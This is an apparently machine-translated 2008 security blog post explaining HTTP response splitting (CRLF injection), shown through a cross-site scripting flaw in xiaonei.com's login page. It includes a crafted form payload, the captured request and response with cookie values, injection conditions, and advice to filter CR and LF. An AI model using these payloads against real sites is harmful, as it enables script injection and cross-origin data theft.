By:Thorn
To clarify this problem, let's first look at an XSS on the Intranet.
Vulnerabilities in http://login.xiaonei.com
Under normal circumstances, the username has already passed htmlencode.
(In fact, a <script> is htmlencode)
Next, construct the following form on any Website:
<Form id = "x" action = "http://login.xiaonei.com/Login.do? Email =% 0d % 0a % 0d % 0a <script> alert (/XSS/); </script>"Method =" post ">
<! -- Input name = "email" value = ""/-->
<Input name = "password" value = "testtest"/>
<Input name = "origURL" value = "http % 3A % 2F % 2Fwww.xiaonei.com % 2FSysHome. do % 0d % 0a"/>
<Input name = "formName" value = ""/>
<Input name = "method" value = ""/>
<Input type = "submit" value = "% E7 % 99% BB % E5 % BD % 95"/>
</Form>
Submit this form
Will cause an XSS
The data captured in the packet is constructed in this way.
POST http://login.xiaonei.com/Login.do? Email = a % 0d % 0a % 0d % 0a <script> alert (/XSS/); </script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, application/x-silverlight ,*/*
Referer: http://www.a.com/test.html
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;. net clr 2.0.50727)
Proxy-Connection: Keep-Alive
Content-Length: 103
Host: login.xiaonei.com
Pragma: no-cache
Cookie: _ utmc = 204579609; XNESSESSIONID = abcThVKoGZNy6aSjWV54r; _ de = axis@ph4nt0m.org; _ utma = average; _ utmb = 204579609; _ utmz = Limit = (referral) | utmcsr = a.com | utmcct =/test.html | utmcmd = referral; userid = 246859805; univid = 20001021; gender = 1; univyear = 0; hostid = 246859805; container = 2-3-4-6-7; mop_uniq_ckid = 121.0.29.225 _ container; syshomeforreg = 1; id = 246859805; BIGipServerpool_profile = container; _ de = a; BIGipServerpool_profile = container
Password = testtest & origURL = http % 253A % 252F % 252Fwww.xiaonei.com % 252FSysHome. do % 250d % 250a & formName = & method =
HTTP/1.1 200 OK
Server: Resin/3.0.21
Vary: Accept-Encoding
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: kl = null; domain = .xiaonei.com; path =/; expires = Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: societyguester = null; domain = .xiaonei.com; path =/; expires = Thu, 01-Dec-1994 16:00:00 GMT
Set-Cookie: _ de =
<Script> alert (/XSS/); </script>;Domain = .xiaonei.com; expires = Thu, 10-Dec-2009 13:35:17 GMT
Set-Cookie: login_email = null; domain = .xiaonei.com; path =/; expires = Thu, 01-Dec-1994 16:00:00 GMT
Content-Type: text/html; charset = UTF-8
Connection: close
Transfer-Encoding: chunked
Date: Mon, 15 Dec 2008 13:35:17 GMT
217b
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<Html xmlns = "http://www.w3.org/1999/xhtml">
<Head>
......
As you can see,In fact, the http response packet header is split, and % 0d % 0a is a line break, thus inserting our own data.
HTTP Response SplittingYesCRLF Injection.
Carriage Return (CR, ASCII 13,) Line Feed (LF, ASCII 10 ,)
These two characters are often used as line breaks. CRLF is widely used in many texts and languages.AttackUsed in the HTTP response, that isHTTP Response Splitting
This is already a very old technology. Now, it is because I read paper two days ago and found that the XSS Filter mentioned in IE8No, no (confirmed by Microsoft)Added protection against CRLF + XSS.
Therefore, we can only rely on ourselves to defend against such attacks.
It should be noted that, if I use the form above directly, the test may fail, because there is a compressed HTTP packet in the school.
The client browser (IE7 for me) contains the following headers:
Accept-Encoding: gzip, deflate
Therefore, the server knows that the client accepts the compressed package, so it chooses the compressed response package.
Content-Encoding: gzip
Gzip compression format is used here. If the html code in plain text is directly inserted after compression, an error is returned.
In implementationHTTP Response SplittingGenerally, this attack can be achieved through the following three conditions (of course, % 0d % 0a is not filtered ):
1. Users can control the content in Set-Cookie.
2. Users can control the Location address of the 302 jump
3. Other custom Header users can control
The example of the School Intranet mentioned above is the first one. There is a field in Set-Cookie that can be controlled without filtering CR and LF.
In fact, there are more and more problems here. One of the submitted parameters
<Input name = "origURL" value = "http % 3A % 2F % 2Fwww.xiaonei.com % 2FSysHome. do% 0d % 0a"/>
This will cause a 302 jump, meeting our second condition, which can be controlled here.
The third condition is the custom header. This is rare, but I have also found a case in the big site. For other reasons, I will not give an example here.
GZIP's compressed data is annoying. As a result, we have to compress the data ourselves and try to submit the data. This greatly increases the attack threshold. HoweverIf the CRLF is before Content-Encoding: gzip, you can submit plaintext data.Otherwise, you cannot directly submit plaintext data.
The omnipotent cross-site method is to directly Insert the Link tag in the new standard in the HTTP header.
Link:
Can directly cause XSS
Not only XSS, but HTTP Response Splitting is more serious than XSS. Because HTTP return headers can be modified, cross-origin problems may occur.
Suppose we insertP3PHeader, and then reference it in another domain.Cross-origin of private data.
There are so many such problems, many of which are available on big sites. When vulnerabilities are combined, the power is more than 1 + 1 = 2.
It is easy to prevent. filter or replace % 0d % 0a.
Check all outputs for the three conditions listed above.